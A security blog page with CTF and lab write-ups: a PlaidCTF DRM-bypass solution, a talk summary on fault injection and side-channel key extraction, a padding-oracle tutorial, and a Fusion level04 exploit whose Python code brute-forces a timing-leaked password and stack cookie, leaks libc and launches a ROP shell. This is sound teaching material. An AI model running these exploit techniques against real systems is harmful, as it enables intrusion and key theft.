Limited Entropy Dot Com Not so random thoughts on security featured by Eloi Sanfèlix

PlaidCTF 2013: drmless (binary 250) write-up

One of the challenges I looked at during the last PlaidCTF was 'drmless', and since I didn't see a write-up yet I thought it'd be nice to publish one. Again this is cross-posted on my blog and int3pids blog.

For this challenge, we were provided with a drmless.tgz file containing a few things:

• .drmlicense : A 16 byte file with some hexadecimal contents
• cool_story.enc : A 'cool story' encrypted.
• cooler_story.enc : An even 'cooler story' also encrypted.
• drmless : an ELF binary.
• readme.txt : challenge instructions.

If we read the instructions, we see the following text:

Here's a cool story from PPP!
We wrote an even cooler story, but you need to pay
us if you want to unlock it. TEN THOUSAND DOLLAR.

If we run 'drmless cool_story.enc' after extracting the archive on a 32 bit Linux machine we get a nice decrypted file. If we attempt to do the same on the cooler_story.enc file, we are told that this is a binary file and asked whether we want to view it anyway. Sounds like the 'less' program, doesn't it?

So we have a file we can decrypt, and one we cannot. The objective is to decrypt the other one, presumably by altering the drmlicense or bypassing it in some way. Let's look at the binary to find out what's going on.

At startup, the binary loads the .drmlicense file and reads 16 bytes into the 'license' global buffer:

  v2 = getenv("HOME");
  snprintf(&v27, 1024, "%s/.drmlicense", v2);
  v3 = open((const char *)&v27, 0);
  if ( v3 >= 0 || (v3 = open("/.drmlicense", 0), v3 >= 0) || (v3 = open("./.drmlicense", 0), v3 >= 0) )
  {
    read(v3, license, 16);
    close(v3);
  }

If we search for cross-referneces to license, we see it is only used in the 'undrm' function, which looks like this:

int __cdecl undrm(int a1)
{
  int result; // eax@1
 
  aes_wb_decryptor(a1, a1);
  result = 0;
  do
  {
    *(_BYTE *)(a1 + result) ^= license[result];
    ++result;
  }
  while ( result != 16 );
  return result;
}

So apparently 'drmless' uses this aes_wb_decryptor function to decrypt the data, and then XORs it with the license. It is interesting to note that only the input buffer is passed to the decryptor, which means that it either uses a hardcoded key or it is stored in some global variable.

Also, it is interesting to note that the name indicates this is probably a whitebox implementation. This means the implementation is obfuscated in an attempt to withstand static/dynamic analysis, and most likely the key is mixed into the algorithm itself in some way.

In any case, I have read documentation on whitebox cryptography before, and also analyzed some implementations of it. Based on that experience, I had some ideas on how to approach a whitebox implementation, but I also knew that I should probably focus on the stuff around the whitebox before diving into the whitebox itself.

Just for fun, I look at the implementation and quickly saw that each round of AES is splitted into several functions, and they are all called sequentially.

.text:0829FF19 loc_829FF19:                            ; CODE XREF: aes_wb_decryptor+7089j
.text:0829FF19                                         ; aes_wb_decryptor+7094j ...
.text:0829FF19                 mov     eax, [ebp+var_24]
.text:0829FF1C                 call    r013
.text:0829FF21                 mov     [ebp+var_59], al
.text:0829FF24                 mov     eax, [ebp+var_30]
.text:0829FF27                 call    r020
.text:0829FF2C                 mov     [ebp+var_7B], al
.text:0829FF2F                 mov     eax, [ebp+var_2C]
.text:0829FF32                 call    r021
.text:0829FF37                 mov     [ebp+var_7A], al
.text:0829FF3A                 mov     eax, [ebp+var_28]
.text:0829FF3D                 call    r022
.text:0829FF42                 mov     [ebp+var_79], al
.text:0829FF45                 mov     eax, [ebp+var_24]
.text:0829FF48                 call    r023
.text:0829FF4D                 mov     [ebp+var_78], al
.text:0829FF50                 mov     eax, [ebp+var_30]
.text:0829FF53                 call    r030

I also saw no global key seems to be input to the algorithm, so I started treating it as a decryption oracle and turned into the more interesting XOR with the license and its possible implications.

The first thing I did was looking for cross-refs to 'undrm'. I found it is used in the 'drmprotected' function to decide whether a file is DRM-protected or not:

signed int __cdecl drmprotected(int a1)
{
  int v1; // ebx@4
  int v2; // eax@5
  char v4[16]; // [sp+10h] [bp-48h]@4
  char v5; // [sp+20h] [bp-38h]@4
  char v6; // [sp+30h] [bp-28h]@4
  char v7; // [sp+40h] [bp-18h]@4
 
  if ( !old_bin_file(a1) || !seekable(a1) || lseek(a1, 0, 0) == -1 )
    return 0;
  v1 = read(a1, v4, 64);
  undrm((int)v4);
  undrm((int)&v5);
  undrm((int)&v6);
  undrm((int)&v7);
  if ( v1 > 0 )
  {
    v2 = 0;
    if ( v4[0] < 0 )
      return 0;
    while ( 1 )
    {
      ++v2;
      if ( v1 <= v2 )
        break;
      if ( v4[v2] < 0 )
        return 0;
    }
  }
  return 1;
}

This just decrypts the first 64 bytes of a file and performs some checks on it. If the checks pass, the function returns 1, otherwise it returns 0. At this point I strongly suspected this was all the protection that was to be found. So I decided to set my drm license to all-zeros, force the 'drmprotected' function to return 1 and dump the data into a file.

I did this using this vtrace script and running it with the cool and the cooler story. The script still requires you to go through the whole output by pressing 'space' until reaching the end, in the same way you'd navigate through a file with 'less'.

sfx@deb:~/drmless/$ python drmless.py cool_story.enc cool_story.dec
sfx@deb:~/drmless/$ python drmless.py cooler_story.enc cooler_story.dec

After this, I used xortool from Hellman to analyze the output files. When run with the 'cool story' it lead to the original .drmlicense contents... so I ran it against the cooler story and used the resulting key to decrypt the output:

sfx@deb:~/drmless/xortool-master$ python xortool.py -l 16 ../cool_story.dec -c 20
1 possible key(s) of length 16:
\x00\x11"3DUfw\x88\x99\xaa\xbb\xcc\xdd\xee\xff
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
sfx@deb:~/drmless/xortool-master$ python xortool.py -l 16 ../cooler_story.dec -c 20
1 possible key(s) of length 16:
\xfe\xed\xa1\x07\x0f\xf0\rp\xde\xad\xbe\xef\xfa\xceUU
Found 1 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
sfx@deb:~/drmless/xortool-master$ cd ...
bash: cd: ...: No such file or directory
sfx@deb:~/drmless/xortool-master$ ls
args.py  args.pyc  colors.py  colors.pyc  libcolors.py  libcolors.pyc  README.md  routine.py  routine.pyc  tests  xortool_out  xortool.py
sfx@deb:~/drmless/xortool-master$ cd ..
sfx@deb:~/drmless$ ls
cooler_story.dec  cool_story.dec  drmless     master.zip  story.dec  util.pyc
cooler_story.enc  cool_story.enc  drmless.py  readme.txt  util.py    xortool-master
sfx@deb:~/drmless$ python
Python 2.7.3 (default, Mar  5 2013, 01:19:40) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import util
>>> x = open('cooler_story.dec').read()
>>> key = "\xfe\xed\xa1\x07\x0f\xf0\rp\xde\xad\xbe\xef\xfa\xceUU"
>>> y = util.repxor(x,key)
>>> y[:100]
'TWELFTH NIGHT; OR, WHAT YOU WILL\r\n\r\nby PPP\r\n"freeShakespeare_downWithDRM"\r\n\r\n\r\n\r\nPERSONS REPRESENTED'
>>> 
 
The key is: freeShakespeare_downWithDRM

So here it is, 250 points 🙂

Insomni’hack 2013: Embedded security – the HW way

Last Friday I delivered a presentation at Insomni'hack about embedded security on how to break 'modern' embedded systems using fault injection and side channel analysis.

In this post, I will summarize my presentation and provide links to additional reading material and, when possible, open source software/hardware references.

Traditional embedded systems are awfully insecure in a hostile environment: they usually run unauthenticated code from flash/rom memories, contain a JTAG debugging interface allowing runtime control, etc. In addition to the lack of runtime protection, traditional systems store data in flash-like memories either in the clear or encrypted with a key that you can also find in the firmware.

Thus, in this scenario both data and code integrity and confidentiality can be easily compromised by an attacker with access to the device. Modern systems are most usually based on a complex System On Chip solution as shown in this figure:

SoC based system

In such a system, several techniques are used in an attempt to solve these security challenges:

- Secure Boot: this mechanism refers to a device that boots from internal code (e.g. an internal boot ROM) and performs some kind of authentication of the firmware to be loaded on the device. Obviously, for this to work the system needs to guarantee that the internal boot ROM cannot be easily tampered with and that code is properly authenticated.

- Secure data storage: in order to protect sensitive data, modern devices often include a secure storage in the form of some internal flash or One-Time-Programmable (OTP) memory. Access control rules are implemented on this storage in order to ensure sensitive data is only accessible to those parts of the chip that require it.

- Key stores: As a specialization of secure data storages, key stores allow the system to securely store cryptographic keys. Often these stores allow the main CPU to write keys into them and to instruct the on-chip cryptographic coprocessors to use them. Therefore, in this way keys remain secret even if one achieves runtime control of the system.

- Memory protection: Many modern systems implement a protection mechanism for their main DRAM memory. In order to avoid attackers from reading data off RAM chips, sniffing the bus or modifying the data easily, they implement DRAM scrambling / encryption mechanisms. These mechanisms are usually quite weak due to timing restrictions, but nonetheless pose some barrier to the attacker.

- Debug interface protection: In addition to the above, debug interfaces such as JTAG are not (supposed to be) left open on secure systems. Since usually the system developer wants to be able to debug the target during development time and in case of errors, the most common solution involves setting up a password protection scheme.

Thus, the JTAG interface is usually locked until a password/key is presented in some way. This can be either a hardcoded key, device-specific key, or even a challenge-response protocol.

The remainder of the presentation (and thus this post) focuses on how to get to these secret keys starting from a device implementing all these mechanisms.

Of course, depending on how well these mechanisms are implemented, it might be very well possible to achieve this by means of logical attacks (e.g. overflows, improper bound checking, etc.).

However, for the sake of argument we are going to assume that this is not possible and see what we can do at the more physical/hardware level.

Step 1: Achieving runtime control

Say we have no easy external interface providing unauthenticated data to the target that we can exploit (i.e. no browsers, no networking, no filesystem parsing... ).

What do we do? If you have been reading this blog before, you probably know I am thinking about fault injection. As I described in that post, we can make a device fail by bringing it just outside its normal operating conditions. This can be achieved by modifying the voltage supply to introduce short glitches (aka VCC glitching), by injecting optical energy (laser/optical fault attacks), EM energy, etc.

Now, if we time our faults precisely at the moment when the internal BootROM is verifying the integrity of external code, we might be able to bypass it and run unauthenticated code.

In absence of specific countermeasures, it is almost always possible to achieve this. Therefore, it is important to implement appropriate protection and detection mechanisms in order to guarantee the integrity of boot code. See this post for references on how to do this.

Also, keep an eye on Die Datenkrake, which promises an open source hardware and software design that can be used for fault injection purposes amongst others.

Step 2: Getting to the keys

So once we have runtime control of the target, we are usually allowed to encrypt/decrypt data at will. However, what we really want is to obtain the key so we can share it with our friends, sell it to the highest bidder, or just post it on twitter for the lulz.

So again, if we cannot find an easy way to obtain the keys through logical means, we will resort to side channel information. We can do this in two ways: by monitoring the chip or by injecting faults on it.

Step 2.a : Keys through side channel information

When a chip is functioning, information about its operation is leaked to the surrounding environment. Think of it as hearing stuff that you are not supposed to be hearing (e.g. what your neighbours where doing last night 😉 😉 ).

Even though you are not supposed to hear it, you actually do hear it. So you know what they are doing, and you make assumptions about what's happening in there.

The same happens with chips. When a chip is functioning, it takes more or less energy from the power supply depending on what it is doing. It also takes more or less time to compute, creates stronger or weaker EM signals (remember tempest?) around it or emits tiny photons depending on the activity it is carrying out.

Now, this activity is of course related to the process it is performing (e.g. encrypting some data) but also to the data it is using (e.g. input data, keys, output data...).

So what you do is you ask the chip to use that precious key he is not willing to show to you, and you monitor it while it is doing so. Kind of like the polygraph tests three-letter-agencies like to perform on super-bad terrorists.

How do we link this to the keys you are asking? Here is the trick: we ask the chip to perform lots of operations with the key using random input data. At the same time, we record side channel traces (let's say power consumption traces, using an oscilloscope).

Now, due to the fact that the power consumption is linked to the data used for the computations (and thus the key), we will use statistics to find out what the key is. What we do is we split the key in small chunks used by the algorithm (e.g. in DES 6 bits of key are mixed with 6 bits of data and fed into the S-boxes).

We refer to these internal results as intermediate values, and we create a model of how these values will leak to the power consumption. For instance, we assume that the Hamming Weight of these values is leaked in the power consumption. This means that whenever these values are computed, the consumed power varies depending on their HW (and probably also other variables).

Now, since there is a dependency between the intermediate values and the power consumption, we can use statistics to find out the amount of dependency. Since those intermediate values depend on small chunks of key, we can try all the possibilities and find out how much statistical dependency there is between the power traces and those intermediate values. The key guess showing more statistical dependency will probably be the correct key.

If we repeat this process for all the key chunks, then we obtain the whole key. Now you might be asking... how do I do this at home? Well, if you are a security test lab you can buy products like Inspector (from my employer ;-p ) or CRI Workstation.

But if you are not, you can take a look at this page which contains information from a presentation delivered at BlackHat EU 2013: http://www.newae.com/blackhat. You can also take a look at OpenSCA, a Matlab-based framework for side channel analysis.

Step 2.b: Getting keys through fault injection

So as I said above we can also get keys through fault injection. Depending on how the system is designed, it might be possible that the memory cells containing the keys are actually mapped in the memory space of the system.

In those cases, an access control mechanism is placed in between the bus initiators and the bus target (i.e. the memory itself) in order to identify whether the request is allowed or not.

As you can imagine, glitching this access control check would result in access to the secret keys for initiators that should otherwise have no access to them.

But sometimes you won't be as lucky and you won't have the ability to request a read of the key (even if it was denied) and attempt to bypass the access control checks... simply because the key is not mapped anywhere in memory.

What do you do then? DFA is the answer, my friend. With Differential Fault Analysis you can inject faults into the cryptographic algorithm itself, and by observing the changes in the output you can recover the secret keys. See this post for more information.

Conclusion and further reading

As you can see, when a device is under the control of an attacker (aka user in some cases ;-p ), there are a number of attacks that need to be considered in addition to the usual software/logical vulnerabilities.

By abusing environmental variables such as power/energy supply and consumption, radiation, etc. one can exploit hardware that would otherwise be secure.

Therefore, as an embedded system designer it is important to protect your code and hardware. Even in the presence of countermeasures, it is critical to test those countermeasures and verify that they actually do what you intended them to do (the company I work for can help you there 😉 ).

In order to protect against SCA attacks, you need to make the environmental variables statistically independent of your secret data or hide that dependency somehow. You must know that most countermeasures are covered by CRI's patents, so you might want to check with them before you implement them in your products.

In order to protect against fault injection, you need to introduce redundancy in your computations and make your software AND hardware resilient to induced errors. You can take a look at this paper for some ideas on how to do this at the application level.

Additionally, for more reading material on the subjects you can take a look at CHES (mostly side channel analysis) and FDTC (mostly fault injection) from the last couple of years. The DPA book is also a very good read with lots of background information on DPA attacks.

Of course, if you have any concrete inquiries you can address me in the comments, on twitter or elsewhere.

Fusion 04 exploit write-up

Last week I started playing with the exploit exercises from the Fusion VM at exploit-exercises.com. The first level was a straightforward stack overflow without any mitigations. Next came one with ASLR for the stack, which was easy to bypass with a simple jmp *esp found in the main binary. Next level up added NX, so I had to resort to ROP, which was also simple by using ROPGadget to generate a payload based off libc (and fixing up the chain due to a bug in ROPGadget 3.3).

Now, level04 was slightly more difficult. It is a web server compiled with stack cookies (SSP), position independent code (PIC/PIE) and configured to run with ALSR and NX. So this gives us a few protections we need to bypass or work around somehow.

Because of this, I thought it was interesting to share and maybe request some feedback... who knows, maybe there are easier solutions and I am just complicating my life 🙂 You can also find a copy of this post at int3pids.com.

Additionally, the web server generates a random password which you need to provide in order to hit the vulnerability and control the instruction pointer. Looking at the validate_credentials function, we see this code:

int validate_credentials(char *line)
{
  char *p, *pw;
  unsigned char details[2048];
  int bytes_wrong;
  int l;
  struct timeval tv;
  int output_len;
 
 
  memset(details, 0, sizeof(details));
 
  output_len = sizeof(details);
 
  p = strchr(line, '\n');
  if(p) *p = 0;
  p = strchr(line, '\r');
  if(p) *p = 0;
 
  // printf("%d\n", strlen(line));
  base64_decode(line, strlen(line), details, &output_len);
  // printf("%s -> %s\n", line, details);
  // fflush(stdout);
 
  p = strchr(details, ':');
  pw = (p == NULL) ? (char *)details : p + 1;
 
  for(bytes_wrong = 0, l = 0; pw[l] && l < password_size; l++) {
    if(pw[l] != password[l]) {
 
#if 0
      char *buf;
      asprintf(&buf, "[%d] wrong byte (%02x vs %02x)\n", l,
                          password[l], pw[l]);
      write(58, buf, strlen(buf));
#endif
 
      bytes_wrong++;
    }
  }
 
  // anti bruteforce mechanism. good luck ;>
 
  tv.tv_sec = 0;
  tv.tv_usec = 2500 * bytes_wrong;
 
  select(0, NULL, NULL, NULL, &tv);
 
  // printf("%d bytes wrong!\n", bytes_wrong);
 
  if(l < password_size || bytes_wrong)
    send_error(401, "Unauthorized",
    "WWW-Authenticate: Basic realm=\"stack06\"",
    "Unauthorized");
 
  return 1;
}

So there is a clear timing leak on line 208 which tells you how many bytes were wrong. Additionally, the base64_decode function seems to take the length of the output buffer but then this is what it does with it:

void base64_decode(const char *data,
                    size_t input_length,
                    unsigned char *output,
                    size_t *output_length) {
 
    if (decoding_table == NULL) build_decoding_table();
 
    // printf("data: %p, input_length: %d, output: %p, output_length: %p\n",
    // data, input_length, output, output_length);
 
    if ((input_length % 4) != 0) {
  // printf("len % 4 = fail\n");
  return;
    }
 
    *output_length = input_length / 4 * 3;

So, it just overwrites it with the computed output buffer and goes ahead and decodes it. Thus, we have a stack based buffer overflow but in order to exploit it we first need to recover the random password so that the function returns and uses the pops the return address off the stack.

Discovering the password is fairly easy thanks to the timing leak: we just brute force byte by byte, measuring the time to see if we found the right character or not. In my case, the timing difference is below 0.001 when we hit a good value and above it when we do not, so I just check for that:

def check_password(s, password):
 req = "GET / HTTP/1.0\r\nAuthorization: Basic %s\r\n\r\n" % base64.b64encode("stack06:"+password)
 s.send(req)
 resp = ""
 resp = resp + s.recv(1024)
 auth = "Unauthorized" not in resp
 return (auth, resp)
 
# First find auth password
def find_next_char(password):
 done = False
 for current_char in string.ascii_letters+string.digits:
  s =  get_connection(ip,port)
 
  t0 = time.time()
  found,resp = check_password(s, password+current_char)
  t1 = time.time()
  s.close()
 
  #If found or time indicates current char is good...
  if found or (t1-t0) < 0.001:
   print "[*] Found character %d = %s" %(len(password)+1,current_char)
   return (found,password+current_char)
 
 return (False,password)
 
def find_password():
 password = ""
 found = False
 
 while(not found) and len(password)<16:
  (found,password) = find_next_char(password)
 return password

So this piece will find us the password. What's next? Well, we can use this to overwrite some data and hopefully hijack EIP. But... as I mentioned above, there is a catch: there is a stack cookie protecting EIP.

Since we can feed any binary data of any size (thanks base64 decode 🙂 ), we can brute force the stack cookie byte by byte. When we see a stack corruption, we guessed an incorrect value. When the program goes on normally, we hit the right result. Again, this is the code implementing that part:

def find_cookie(password,cookie = ""):
 while len(cookie)!=4:
  for i in xrange(256):
   # print "[*] Test ", i
   s = get_connection(ip,port)
   found,resp = check_password(s,password + "A"*2024+ cookie + chr(i))
   if "smashing" not in resp:
    # print resp
    cookie = cookie + chr(i)
    print "[*] Cookie value is 0x%s" % cookie.encode("hex")
    break
   else:
    print resp
   s.close()
 return cookie

At this point, we can reliably set EIP since we know the stack cookie value. However, that's not very helpful since everything is randomized thanks to full ASLR and a PIC binary. The first thing I tried here was overwriting the last byte of the saved EIP to land on a call to printf() or some other function returning data. This would help me obtain some data from the stack, and then I could create a ROP payload based on the leaked data.

However, then I hit another problem: ebx is used by the code to contain a reference to the binary loading address + some offset. This is done to achieve position independent code. Unfortunately, the exploit also overwrites ebx, which was stored by validate_credentials just between the stack cookie and the return address.

So what I did next was guessing ebx in the same way I did for the stack cookie. However, here I started with the known last byte (the lowest 12 bits of the binary are not randomized) and brute forced the rest. Again, the code is very similar to the previous one:

def find_ebx(password,cookie):
 ebx = ""
 s = get_connection(ip,port)
 found,base_resp = check_password(s,password + "A"*2024+ cookie + "AAAA"*3)
 s.close()
 while len(ebx)<4:
  for i in xrange(0,256):
   try:
    s = get_connection(ip,port)
    found,resp = check_password(s,password + "A"*2024+ cookie + "AAAA"*3 + ebx + chr(i) )
    s.close()
    if resp == base_resp:
     ebx = ebx + chr(i)
     print "[*] ebx value is 0x%s" % ebx[::-1].encode("hex")
     break
   except socket.error:
    # print "[*] Fail"
    pass
  if i==255:
   print "[*] Could not discover ebx value. Exploit failed."
   sys.exit(-1)
 return ebx

This code first obtains a 'normal response'. Next, it starts bruteforcing ebx byte by byte, comparing the response with the 'expected response'. If it matches, the right value was found, else it iterates to the next candidate.

Now, with this done we are able to compute the base for the binary by subtracting 0x4118 from the leaked ebx value. After finishing the exploit I realized that this was actually not needed, since the stack smashing detection code prints out a very helpful memory map into stderr, which is redirected to our socket. Anyway, with this code the exploit doesn't rely on that leak so it would work even if stderr is not redirected to our socket.

At this point I had two options: use this to leak the libc or make a ROP payload based on the binary. Since I already had a payload for libc made with help of ROPGadget (which I had to correct due to some bug by the way), I decided to return into write and leak the first GOT entry to obtain the libc base. Therefore, the final stages of my exploit look like this:

base = struct.unpack("<I", ebx)[0] - 0x22FF - 0x1E19
write_plt = struct.pack("<I",base + 0xF30 ) #write PLT entry
got_base = struct.pack("<I",base + 0x4124 ) # GOT start
 
print "[*] Binary base: 0x%.8x . Leaking libc base" % base
print "[*] PLT entry for printf @ ", write_plt[::-1].encode('hex')
print "[*] GOT start @ ", got_base[::-1].encode("hex")
 
s =  get_connection(ip,port)
found,resp = check_password(s,password + "A"*2024+ cookie + "AAAA"*3 + ebx + "AAAA"*3 + write_plt + "AAAA" + "\x01\x00\x00\x00" + got_base + "\x04\x00\x00\x00")
s.close()
libc = struct.unpack("<I", resp[:4])[0] - 0xd3a70
print "[*] Discovered libc base: 0x%.8x" % libc
 
print "[*] Launching ROP exploit"
p = get_rop(libc)
s =  get_connection(ip,port)
found,resp = check_password(s,password + "A"*2024+ cookie + "AAAA"*7 + p)

After this, a nice shell is running for us. With only one catch: an alarm is set by the webserver, and it will trigger a SIGALRM signal soon. So what I do is just executing trap '' SIGALRM; as a first command so that the signal is ignored. The full exploit code is here for you to play with 🙂

Conclusion

Even in the presence of quite some countermeasures (fully randomized addres space, non-executable data areas, stack smash protection), it is still possible to achieve reliable code execution.

In this case, we have abused the fact that the vulnerable server does not call execve() for every new child to brute-force the stack cookie and also to discover the base address of the executable itself. After this is done, it is basically game over.

However, these techniques have two requirements: the address space has to remain constant between requests (albeit random every time we restart the whole server) and we need to be able to partially corrupt the data with fully arbitrary values. If these requirements were not met, another info-leak bug would have been required in order to obtain this data.

Thus, as an application programmer it is always recommended to call fork()+execve() instead of just fork(), so that the OS re-randomizes the whole address space.

Understanding Padding Oracle attacks

It's been a long time I haven't written anything here... I've had to travel for work and have been doing other things and didn't find the right moment to write about anything useful. But a few days ago I decided to take a look at Padding Oracle attacks after hearing several times about them, and I thought it would be nice to share with you guys.

Padding Oracle attacks were introduced in 2002 in paper [1]. After that, several other papers have presented similar attacks based on the same concept for other padding schemes. In this post, I will restrict myself to the padding scheme presented in [1] and will add a list of references at the end for further reading.

Oracles and Padding Oracles

In cryptography, an oracle is basically a black box that responds to queries. For instance, an encryption oracle will encrypt any input you give to it under a certain key. A random oracle will always respond with uniformly random data, and this is useful to model protocols based on hash functions.

In our case, we are interested on padding oracles (PO). A PO is a sort of black box that decrypts an input message and tells you whether the padding was correct or not. For instance, think of an application that receives an input ciphertext and decrypts it using a block cipher.

Since a block cipher encrypts data in chunks of a given size, whenever the data to be encrypted does not fit exactly in a number of chunks it needs to be padded. Thus, after decryption our example application will check the padding applied and will throw an exception if the padding is incorrect. If it is correct, it will just continue with its normal processing.

As you can see, this application is an example of a padding oracle because it is telling us whether the padding is correct or not. We can check the behavior of the application and when we observe an exception we know that the padding was incorrect. When we do not, we know it was correct.

Mounting attacks based on padding oracles

So, how can we use such a PO to mount an attack on the system? The answer is it depends on the underlying cipher mode and on whether it is used properly or not, of course. Assuming the application uses a cipher in CBC mode, and it does only use encryption but no authentication, we can feed the application with specially crafted ciphertext and make assumptions about the plaintext based on the response.

Before going into the attack method, let's define the padding system we are going to look at. The PKCS#5 standard defines a padding scheme that works as follows: If the message length is a multiple of the block length, the padding scheme adds an extra block with all bytes set to the number of bytes in a block. Otherwise, the remaining bytes will be set to the number of padding bytes that need to be added to have an exact number of blocks.

If the block size is 8 bytes, then for a 7 bytes message you will add a byte set to 01; for a 6 bytes message, 2 bytes set to 02, and so on. I bet you get the idea 🙂

Now, when you decrypt in CBC mode, the process works as described earlier in this blog: first you decrypt a block, and then XOR it with the previous ciphertext block (or the IV if it is the initial block). This means that if you get a random data block, then append a target ciphertext block to it, and feed it into the random oracle, you will know whether the decryption of your ciphertext block XORed with your random data adheres to the padding scheme or not.

So, now we know that the decrypted message XORed our random data ends with either 1 byte set to 0x01, or 2 bytes set to 0x02, or 3 bytes set to 0x03, etc. In the most likely case, you'll be lucky with the first option. However, you still need to check, since it might be that by chance you got one of the other options.

How do you know then? Easy: start modifying bytes one at a time and feed them to the Oracle. To make it generic, start from the left-most byte. Modify it, and check with the oracle if the padding is incorrect. If it is incorrect, that means this byte was part of the padding, so the whole thing should be all 0x08's (assuming 8 byte blocks). If it is correct, continue with the next byte until you see that the padding turns incorrect or you reach the last byte.

This is what the original last byte decryption algorithm describes:

1. pick a few random bytes r1 , . . . , rb and take i = 0
2. pick r = r1 . . . rb-1 (rb XOR i)
3. if O(r|y) = 0 then increment i and go back to the previous step
4. replace rb by rb XOR i
5. for n = b down to 2 do
(a) take r = r1 . . . rb-n (rb-n+1 XOR 1)rb-n+2 . . . rb
(b) if O(r|y) = 0 then stop and output (rb-n+1 XOR n) . . . (rb XOR n)
6. output rb XOR 1

In the description above, b is the number of bytes in a block. In steps 1 to 3 it is discovering the last byte as I explained above. It creates b random bytes, and modifies only the last one until it gets a message with the right padding. Then it replaces this last byte with the correct value.

Now, using this value for r it has a good padding, so it starts modifying the bytes from the top and checking if this changes the results. If the result is not affected in any of the cases, then the last byte was set to 0x01 after decryption, and this means the last byte of the decrypted plaintext is our random byte rb XORed with 0x01. The same holds for the other cases, only that you need to XOR the random bytes with the appropriate value.

So the above algorithm works for the last byte, and if you are lucky for some other bytes as well. How do we turn it into a block decryption oracle?

Quite simple: assuming you know the final X bytes, generate a random block that after XORing with those known bytes sets the result to X+1. Now, the final block ends with an unknown byte followed by X bytes set to X+1... so now you start trying values to XOR with that unknown byte until you get a good padding response. At that point, you know that this unknown byte XORed the random data you supplied must give X+1 as a result to form a good padding (remember, good padding = Y last bytes set to a value Y).

So now you know one more byte, and you only need to iterate all the way till the end of the block to finish the decryption. The following algorithm was provided in the original paper:

1. take rk = ak XOR (b - j + 2) for k = j, . . . , b
2. pick r1 , . . . , rj-1 at random and take i = 0
3. take r = r1 . . . rj-2 (rj-1 XOR i) rj . . . rb
4. if O(r|y) = 0 then increment i and go back to the previous step
5. output rj-1 XOR i XOR (b - j + 2)

In this case, ak with k=j,...,b are the bytes you know. In step 1 you generate the random bytes that would set the final bytes to the appropriate value. Then you add some random numbers to them, and loop through the possible values for the unknown byte until you find the one that creates a proper padding (step 4). From this one, you construct the value for the unknown byte and return it in step 5.

Implementing the attack in Python

To make sure I understood what I explained above in the right way, I created a small python class able to decrypt any input block given a padding oracle. The class constructor takes an input block size together with a padding oracle in the form of a function returning a boolean value.

This means you can construct your own padding oracle function in python, which will simply return True or False depending on whether the padding was correct or not. This function can be a simple POC to test the concept or can be a function using a padding oracle present on a web site or whatever you can think of. See the presentation by Juliano Rizzo and Thai Duong ([3]) linked at the end for ideas ;).

By the way, the code quality might not be very good and some things might be done easier in Python than I've done them. I'm pretty new to Python so if you see anything you think should be changed let me know ;-). As for the code, you can do whatever you like with it.

As an example, I've used the following code to test the class:

'''
Created on Jul 4, 2010
 
@author: Eloi Sanfelix < eloi AT limited-entropy.com >
'''
 
from PaddingOracle.DecryptionOracle import DecryptionOracle
from Crypto.Cipher import DES
import random
import struct
 
def hex_string(data):
    x = struct.unpack("B"*len(data),data)
    return "".join([ hex(i)+" " for i in x])
 
#Random key globally initialized 
key = "".join([struct.pack("B",random.getrandbits(8)) for i in range(8) ])
 
def oracle(ctext):
    oracleCipher = DES.new(key,DES.MODE_CBC,"\x00"*8)
    ptext = oracleCipher.decrypt(ctext)
 
    paddingLen = struct.unpack("B",ptext[-1])[0]
    goodPadding = (ptext[-paddingLen:] == struct.pack("B",paddingLen)*paddingLen)
 
    return goodPadding
 
if __name__ == '__main__':
 
    #Random 2 block plaintext
    bytes = ""
    data = "".join([struct.pack("B",random.getrandbits(8)) for i in range(16) ])
    print "Plaintext: "+hex_string(data)
 
    cipher = DES.new(key,DES.MODE_CBC,"\x00"*8)
    ctext = cipher.encrypt(data)
 
    print "Ciphertext: "+hex_string(ctext)
 
    decryptOracle = DecryptionOracle(oracle,8)
 
    #Recover first block
    result = decryptOracle.decrypt_message(ctext)
 
    if(data == result ):
        print "CORRECT ptext recovered: "+hex_string(result)
    else:
        print "INCORRECT ptext recovered: "+hex_string(result)

Which provided the following output:

eloi:~/dev/PaddingOracle/src$ python PaddingOracleTest/DesPaddingOracle.py 
Plaintext: 0xd4 0xe2 0x4b 0xdf 0xed 0xad 0x75 0x58 0xfa 0x0 0xa5 0x45 0x17 0xc7 0x9b 0x5f 
Ciphertext: 0x98 0x8 0xd8 0xaf 0x69 0xab 0x34 0xe1 0x4a 0x61 0xa7 0x34 0xb2 0xc8 0xf 0x2b 
CORRECT ptext recovered: 0xd4 0xe2 0x4b 0xdf 0xed 0xad 0x75 0x58 0xfa 0x0 0xa5 0x45 0x17 0xc7 0x9b 0x5f 
eloi:~/dev/PaddingOracle/src$

You can see it works for my test case. I also tested it using AES encryption insted of DES and it works fine there too, which gives me confidence enough that the concepts above are correctly explained and the tool works appropriately 🙂

You can download the whole package with my DecryptionOracle class and the test cases here.

Hope you enjoyed it and I'm looking forward to see your feedback in the comments!

References

There is more to padding oracle attacks than exposed here. If you want to know more, you can check the following resources. I might be implementing other attacks as well in the future, but the fastest way to know more will be to read these papers:

[1] Security Flaws Induced by CBC Padding. Applications to SSL, IPSEC, WTLS... - S. Vaudenay - Download here
[2] Padding Oracle Attacks on the ISO CBC Mode Encryption Standard - K.G Patterson and A. Yau . Download here
[3] Practical Padding Oracle Attacks . Juliano Rizzo and Thai Duong . Download here